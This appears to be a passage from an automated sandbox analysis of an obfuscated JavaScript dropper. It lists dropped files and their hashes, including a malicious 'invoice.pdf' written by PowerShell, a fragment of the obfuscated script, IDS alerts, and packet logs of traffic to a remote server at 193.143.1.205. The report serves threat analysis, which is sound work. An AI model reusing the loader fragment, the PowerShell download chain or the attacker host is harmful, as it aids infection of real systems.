SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a45c81f2-b386-4e42-92cc-2e0215d45a01.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c09afcaf-79b1-4a86-88d8-82c3fd30659d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19281), with CRLF line terminators
Entropy (8bit):	4.922587635319346
TrID:
File name:	2453210565523714481.js
File size:	22'866 bytes
MD5:	55baffe00b4def05a631198953002703
SHA1:	f830b317d7508db24d171e810b8dde99801d7c83
SHA256:	8b0e49586aa1f21e55b3c88c034ccb2195493c724f3fb79835f4876b69f728f9
SHA512:	cb2b92a1b668f7c1f9985b955a880c39f26c4777c0cd234c8367ea037dde402e55893f929f43e80fb3a458c545818556ed2294e40e7dcccd28dd07dbe86d7362
SSDEEP:	384:leCgNOo7FxO1pB6mNKQqd069n8i1z6ninWRBiTDmna:JgNO4FxO1pB63/dJZ
TLSH:	E3A26499CB12C38B8FE91F7A29E60D8237E0015D04798A5D875BB4B41F882B6F5F4B35
File Content Preview:	function bvcejphfu(){aegqnvrca=[1031,3079,5127,4103,2055,3072];var guwmkcgc=this[jocuemotr+jxdegmta+yujqyx+zmfbfpqrd+blitado+cocukyaqn+cuofletzv+exmupoej](this[bynchs+evhtm+nyrtcps+yujqyx+ovnpbv+jocuemotr+exmupoej][mcgdaouy+yujqyx+blitado+jxdegmta+exmupoe

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:47:32.127953+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T18:47:34.715011+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49710	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:47:31.313105106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:31.317967892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:31.318047047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:31.320863008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:31.325733900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.127880096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.127897024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.127908945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.127953053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.128004074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128017902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128030062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128065109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.128092051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.128175974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128194094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128207922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128222942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.128253937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.128277063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.173206091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.173233032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.173305988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266105890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266133070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266144991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266180038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266206026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266220093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266258001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266529083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266556025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266597986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266671896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266689062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266700983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266715050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266726017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266735077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.266747952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.266769886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.267194986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267352104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267363071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267400026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.267524958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267535925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267546892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267560005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.267574072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.267596960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.268095016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.268115997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.268151045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.268162012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.268192053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.270972013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.315660000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.315675020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.315690041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.315777063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.315777063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.356276035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.356296062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.356369972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.393924952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.393953085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.393964052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.394023895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.397988081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.398055077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.398636103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.398649931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.398660898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.398673058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.398694038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.398722887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.402776003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.402793884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.402836084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.403363943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.403376102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.403393984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.403419018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.407583952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.407638073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.408086061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.408107996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.408126116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.408138037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.408149958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.408193111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.412367105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.412827015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.412839890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.412853956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.412882090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.412909985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.417546988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.417558908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.417571068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.417623997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.417661905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.417692900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.417736053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.422321081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.422333956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.422359943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.422372103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.422380924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.422418118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.427035093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.427047968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.427086115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.427100897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.427117109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.427128077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.427159071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.427179098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.431837082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.431848049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.431890011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.431899071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.431910038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.431947947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.436547995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.436559916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.436604023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.436613083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441328049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441340923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441349983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441375971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.441392899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441402912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.441411972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.441478014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.446132898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.446146011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.446155071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.446209908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.450757027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.450771093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.450819969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.482625008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.482655048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.482708931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.522613049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.522631884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.522644043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.522702932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.522722006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.527332067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.527343035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.527386904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.527439117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.527451992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.527461052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.527504921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.532042980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532057047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532068968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532107115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.532128096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.532145977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532159090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532171965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.532198906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.536909103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536922932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536932945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536947012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536957979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536968946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.536981106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.536989927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537002087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537014961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537022114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537034988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537045002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537054062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537061930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537074089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537084103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537092924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537102938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537113905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537123919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537132978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537143946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537163973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537189960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537380934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537390947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537401915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537414074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537425041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537440062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537448883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537457943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537468910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537477016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537487030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537497997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537504911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537519932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537530899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537543058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537548065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537559032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537570000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537576914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537590027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537599087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.537609100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.537619114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538372040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538383961 CET	80	49709	193.143.1.205	192.168.2.6
